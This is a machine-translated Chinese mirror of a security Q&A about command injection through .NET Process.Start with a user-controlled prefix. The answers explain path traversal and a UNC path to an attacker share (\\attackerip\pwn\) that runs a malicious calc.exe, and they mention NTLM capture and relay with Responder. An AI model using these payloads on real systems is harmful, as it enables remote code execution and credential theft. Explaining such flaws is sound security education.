首页
学习
活动
专区
圈层
工具
发布
社区首页 >问答首页 >Process.Start()命令注入

Process.Start()命令注入
EN

Security用户
提问于 2021-02-25 10:14:01
回答 2查看 744关注 0票数 1

如何利用具有以下行的程序:

代码语言:javascript
复制
Process.Start(user_input + "calc.exe")

这是一个.NET函数,到目前为止还没有起作用("mal.exe &&""mal.exe;",.)有什么想法吗?

EN

回答 2

Security用户

发布于 2021-03-16 21:36:24

就POSIX函数而言,https://docs.microsoft.com/en-us/dotnet/api/system.diagnostics.process.start?view=net-5.0 Process.Start更类似于execvp,而不是system-Process.Start并不会启动shell (您的&&技巧会在其中运行得很好),而是直接调用给定的文件名。

但是,在文件名前加上前缀可以将其重写到任意位置,因为您可以执行以下操作:

  • ../../../evilcalc.exe (user_input../../../evil (从当前工作目录提升祖先目录)
  • C:\somewhere\evilcalc.exe (user_input is C:\somewhere\evil) (Windows绝对文件路径)
  • /somewhere/evilcalc.exe (user_input is /somewhere/evil) (Unix绝对文件路径)

我不认为您可以运行一些不以calc.exe结尾的东西--您的mal.exe需要命名为其他的东西(尽管我确实怀疑它是如何实现的,但却不能选择它的名称--它是内置的OS服务还是已经安装的应用程序?)

票数 2
EN

Security用户

发布于 2021-03-16 22:18:18

根据@iridia的回答,您需要控制字符串的前缀。远程利用此漏洞的最简单方法是使用UNC (或潜在的webdav),将名为calc.exe的恶意文件放置在共享上,并将路径作为用户输入提供:\\attackerip\pwn\,它将执行\\attackerip\pwn\calc.exe

如果您没有可用的恶意可执行文件,您也可以使用此技巧来使用响应器- https://github.com/lgandx/Responder之类的方法对NTLM凭据进行snarf认证,或者使用多中继将它们重放到另一台服务器上以获取shell。

票数 2
EN
页面原文内容由Security提供。腾讯云小微IT领域专用引擎提供翻译支持
原文链接:

https://security.stackexchange.com/questions/245367

复制
相关文章

相似问题

领券
问题归档专栏文章快讯文章归档关键词归档开发者手册归档开发者手册 Section 归档